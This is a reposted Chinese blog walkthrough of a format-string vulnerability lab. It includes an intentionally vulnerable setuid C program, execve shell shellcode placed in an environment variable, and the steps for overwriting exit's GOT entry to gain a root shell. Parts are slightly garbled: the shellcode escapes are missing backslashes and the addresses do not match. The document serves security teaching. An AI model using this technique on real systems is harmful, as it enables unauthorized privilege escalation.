我是靠谱客的博主 大胆大侠,最近开发中收集的这篇文章主要介绍Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode写进环境变量),觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
// vul.c
/*
* 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
* 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
* 移来计算环境变量地址。
* gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面这段代码编译并且 suid,然后普通用户执行它,要求就是成
功获得 root shell。
- 观察以上代码,我们的思路是将shellcode写进环境变量,然后获取环境变量的地址,再将这个地址覆盖exit函数的地址,这样,在程序执行到exit(0)的时候,就会执行我们的shellcode。
- 下面给出的get.c用于获取环境变量地址:
//get.c
//export EGG=$(python -c "print 'x90'*1000 + 'x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}
- 首先,关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0
2.编译get.c,利用 root 把vul.c编译并且 suid,还要使栈可执行
3.定义一个环境变量 EGG 存放 shellcode,再执行get获取它的地址。
export EGG=$(python -c "print 'x90'*1000 + 'x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80'")
得到EGG地址为:0xbfff29e
4.查找exit的地址:objdump -R vul
可以看到exit的地址为0x0804a00c
5.查询 AAAA 在内存中位置:
AAAA在第11个位置。
6.实施攻击,实施攻击的关键是计算把 shellcode 的地址 0xbffff29e 写到析
构函数的返回地址(即 0x 0804a00c)所指向的内存字中所需要的偏移量。
计算偏移量:
- 49143=bfff-8;
- 12959=f29e-bfff;
攻击成功…成功获得root权限~
最后
以上就是大胆大侠为你收集整理的Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode写进环境变量)的全部内容,希望文章能够帮你解决Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode写进环境变量)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复